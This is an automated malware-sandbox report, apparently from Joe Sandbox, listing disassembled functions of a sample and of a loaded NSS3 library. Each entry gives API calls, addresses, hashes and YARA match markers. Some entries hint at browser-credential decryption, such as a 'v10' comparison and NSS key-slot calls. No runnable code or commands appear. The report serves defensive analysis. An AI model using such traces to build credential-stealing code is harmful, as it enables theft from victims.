Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: bb09695f608f545f77a5e7db8b040441d4240a68aec19183c167f0ae0fc66d7f
Instruction ID: 903ac200f887768a5cd1d3a24ee5896dc5a1ddb4b76a489cc8c21140c00dd651
Opcode Fuzzy Hash: bb09695f608f545f77a5e7db8b040441d4240a68aec19183c167f0ae0fc66d7f
Instruction Fuzzy Hash: D1716571A04318CFDB10CF9AC580B9ABBB4FF89718F25816DE9596B70AD770A901CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB6D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEA3C66
Part of subcall function 6CEA3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CEA3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6CEB6DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6CEB6DE5

Part of subcall function 6CEB8010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB807D
Part of subcall function 6CEB8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB80D1
Part of subcall function 6CEB8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB810E
Part of subcall function 6CEB8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB8140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6CEB6E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEB6E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB6EC2

Part of subcall function 6CEB7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB7E27
Part of subcall function 6CEB7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEB7E67

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 838138f6bb19409f9149e5438b4dc421ccc0aa38688c8a65c42073a23ff6497e
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: 6C51BD719083519FD724CF25C950B6ABBF5BF88318F148A5DE89897B41E330E919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CF3BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF3BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF19F71,?,?,00000000), ref: 6CF3BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CF3BFA9
SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF3C014

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 133c2f4498bbc6ee83ad5b9f2007dbd01134fceaa10571029077ad467df2e286
Instruction ID: cd328e4dc5c25ff050225ef164c55e0750c8c96ebac9dacca1e1eb1b5716bcdd
Opcode Fuzzy Hash: 133c2f4498bbc6ee83ad5b9f2007dbd01134fceaa10571029077ad467df2e286
Instruction Fuzzy Hash: 8641E575A01625ABEB00CEB6CC50BBF73B9AF45248F116528E81DD7B41EB31E905CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0040F200 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F228
strtok_s.MSVCRT ref: 0040F36D

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 99d669520304ee4daf7e48b32e6a250a7d3e11c4d6eeb157172041c732c91284
Instruction ID: 34556820f6e5338ba8e8a845a83fb71131f6fb13afd6d5a2f2d9a2f2ab0dc7f0
Opcode Fuzzy Hash: 99d669520304ee4daf7e48b32e6a250a7d3e11c4d6eeb157172041c732c91284
Instruction Fuzzy Hash: 4F514FB5A04209DFCB18CF54D595AAE7BB6FF48308F10817DE802AB390D734EA95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004097F0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0040980B
memset.MSVCRT ref: 0040983E
LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

v10, xrefs: 00409802
@, xrefs: 00409847

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 85d4c29a26f7d616300753f007e2a09fe5b7ff514a7d946b17815383f62ccb53
Instruction ID: 87859f0eaa1cac66c0422607c8296a2f5b7cfd88fdb957a476e5adb471fb7cf1
Opcode Fuzzy Hash: 85d4c29a26f7d616300753f007e2a09fe5b7ff514a7d946b17815383f62ccb53
Instruction Fuzzy Hash: 00414EB0A00208EBDB04DFA5DC55FDE7B75BF44304F108119F909AB295DB78AE85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 6CF0EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF0EDFD
calloc.MOZGLUE(?,00000000), ref: 6CF0EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CF0EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF0EEEB
free.MOZGLUE(?), ref: 6CF0EEF6

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 69a9a6c2e5898124c05896525be78c80bba331fdce2cf3feab376f357f9a8c1b
Instruction ID: a47861d7381227466b98dc79b6f2c1b3601e6bba9d0dd6aa494c20b495150198
Opcode Fuzzy Hash: 69a9a6c2e5898124c05896525be78c80bba331fdce2cf3feab376f357f9a8c1b
Instruction Fuzzy Hash: 58313A727002149BEB209F28CC607E77BF4FB46B15F150628E9DA87A51D731E454DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF51EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CF36295,?,00000000,00000000,00000001,6CF52653,?), ref: 6CF51ECB

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CF36295,?,00000000,00000000,00000001,6CF52653,?), ref: 6CF51EF1
EnterCriticalSection.KERNEL32(?), ref: 6CF51F01
PR_SetError.NSS3(00000000,00000000), ref: 6CF51F39

Part of subcall function 6CF5FE20: TlsGetValue.KERNEL32(6CF35ADC,?,00000000,?,?,?,00000000,?,6CF2BA55,?,?), ref: 6CF5FE4B
Part of subcall function 6CF5FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CF5FE5F

PR_Unlock.NSS3(?), ref: 6CF51F67

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: ea987b7aa99aa760ecacb2bb624989e5aba41d81e81934d9e92085db27b2e35f
Instruction ID: 9dc686b47b0740cd9867945982d981a3e5b5f3aa664caf01bc283c236c0f48af
Opcode Fuzzy Hash: ea987b7aa99aa760ecacb2bb624989e5aba41d81e81934d9e92085db27b2e35f
Instruction Fuzzy Hash: F0210A76A00104ABDB009F29DC45F9B3BA9EF55368F948164FE0897B11E731F964C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF11DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CF11E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CF11E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF11E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CF11E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CF11EAD

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: f857c29b653d32ecc5984c8c02564c7279b55573be155f01dda7fb40c5c35da3
Instruction ID: 3fda1b4620e38bf0984510a5d6d443eff3890ea88ff80956002aabdae5bbad05
Opcode Fuzzy Hash: f857c29b653d32ecc5984c8c02564c7279b55573be155f01dda7fb40c5c35da3
Instruction Fuzzy Hash: B521D372E08715A7D7008FA9DC40B9B73949BA4368F14C638ED6997B80E730E919C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF1AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CF13FFF,00000000,?,?,?,?,?,6CF11A1C,00000000,00000000), ref: 6CF1ADA7

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CF13FFF,00000000,?,?,?,?,?,6CF11A1C,00000000,00000000), ref: 6CF1ADB4

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CF13FFF,?,?,?,?,6CF13FFF,00000000,?,?,?,?,?,6CF11A1C,00000000), ref: 6CF1ADD5

Part of subcall function 6CF6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CF68D2D,?,00000000,?), ref: 6CF6FB85
Part of subcall function 6CF6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CF6FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0394B0,?,?,?,?,?,?,?,?,6CF13FFF,00000000,?), ref: 6CF1ADEC

Part of subcall function 6CF6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0418D0,?), ref: 6CF6B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF13FFF), ref: 6CF1AE3C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ec01083644258c75668c455e93d2b4b07dc48e8606ae33b800dc2c608c3cd7b3
Instruction ID: 18dd33a45397c4f3456ae06985826b6607c66b423138ab90ca9f46e778bafbda
Opcode Fuzzy Hash: ec01083644258c75668c455e93d2b4b07dc48e8606ae33b800dc2c608c3cd7b3
Instruction Fuzzy Hash: 21115632E042052BF7109B66AC01BFF73E8DF9124CF048229EC1996A41FB20E95C83A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF38E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CF52E62,?,?,?,?,?,?,?,00000000,?,?,?,6CF24F1C), ref: 6CF38EA2

Part of subcall function 6CF5F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CF5F854
Part of subcall function 6CF5F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CF5F868
Part of subcall function 6CF5F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CF5F882
Part of subcall function 6CF5F820: free.MOZGLUE(04C483FF,?,?), ref: 6CF5F889
Part of subcall function 6CF5F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CF5F8A4
Part of subcall function 6CF5F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CF5F8AB
Part of subcall function 6CF5F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CF5F8C9
Part of subcall function 6CF5F820: free.MOZGLUE(280F10EC,?,?), ref: 6CF5F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CF52E62,?,?,?,?,?,?,?,00000000,?,?,?,6CF24F1C), ref: 6CF38EC3
TlsGetValue.KERNEL32(?,?,?,6CF52E62,?,?,?,?,?,?,?,00000000,?,?,?,6CF24F1C), ref: 6CF38EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CF52E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CF38EF1
PR_Unlock.NSS3 ref: 6CF38F20

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: eab89c705c3e47eb723da28ae0930f6e573ac083affb24442928e3a3f4f97005
Instruction ID: 45140394223ad142073b264baece2bd9f16a67ebc0e811066ab0e1017c84db90
Opcode Fuzzy Hash: eab89c705c3e47eb723da28ae0930f6e573ac083affb24442928e3a3f4f97005
Instruction Fuzzy Hash: 7D216D70909625ABC700AF39C4842A9BBF0BF49314F41556FED98DBB40DB34E854CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 004135E0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0041D8AC,?,?,004137D1,00000000,?,02DB6B20,?,0041D8AC,?,00000000,?), ref: 0041362C
sscanf.NTDLL ref: 00413659
SystemTimeToFileTime.KERNEL32(0041D8AC,00000000,?,?,?,?,?,?,?,?,?,?,?,02DB6B20,?,0041D8AC), ref: 00413672
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,02DB6B20,?,0041D8AC), ref: 00413680
ExitProcess.KERNEL32 ref: 0041369A

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 03946e0529fed54c263d952e4f22c3f1a36d1fb190e498b29ed19b6dbfb41dcd
Instruction ID: a268315634fda69ed0a537ef202e87298384d27024bdd5aae2ec85167a5c17e0
Opcode Fuzzy Hash: 03946e0529fed54c263d952e4f22c3f1a36d1fb190e498b29ed19b6dbfb41dcd
Instruction Fuzzy Hash: 6421BA75D14209ABCB14EFE4D945AEEB7BABF4C305F04852EE50AE3250EB345644CB68

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CF51E10: TlsGetValue.KERNEL32 ref: 6CF51E36
Part of subcall function 6CF51E10: EnterCriticalSection.KERNEL32(?,?,?,6CF2B1EE,2404110F,?,?), ref: 6CF51E4B
Part of subcall function 6CF51E10: PR_Unlock.NSS3 ref: 6CF51E76

free.MOZGLUE(?,6CF3D079,00000000,?), ref: 6CF3CDA5
PK11_FreeSymKey.NSS3(?,6CF3D079,00000000,?), ref: 6CF3CDB6
SECITEM_ZfreeItem_Util.NSS3(?,?,6CF3D079,00000000,?), ref: 6CF3CDCF
DeleteCriticalSection.KERNEL32(?,6CF3D079,00000000,?), ref: 6CF3CDE2
free.MOZGLUE(?), ref: 6CF3CDE9

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 3d3e6269c46051b586bf3a4e4f443e756675d62addc67ccaffc0445798f82098
Instruction ID: 0040791a16b80c1647bd869d0b8fe068da6c834e87beaf92b3ac0d5ff11e718f
Opcode Fuzzy Hash: 3d3e6269c46051b586bf3a4e4f443e756675d62addc67ccaffc0445798f82098
Instruction Fuzzy Hash: 58117CB2A01175BBEE01AF65EC44BA6BB6CBF042697144221FA1D87E01E732F474C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF73D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CF738A2), ref: 6CF73DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CF738A2), ref: 6CF73DBF

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CF738A2), ref: 6CF73DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CF738A2), ref: 6CF73DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CF738A2), ref: 6CF73DF8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: e1c43f2cdb65b1a41ceddb467b4401a4a4f611212766dfc7e0eaec04c8978093
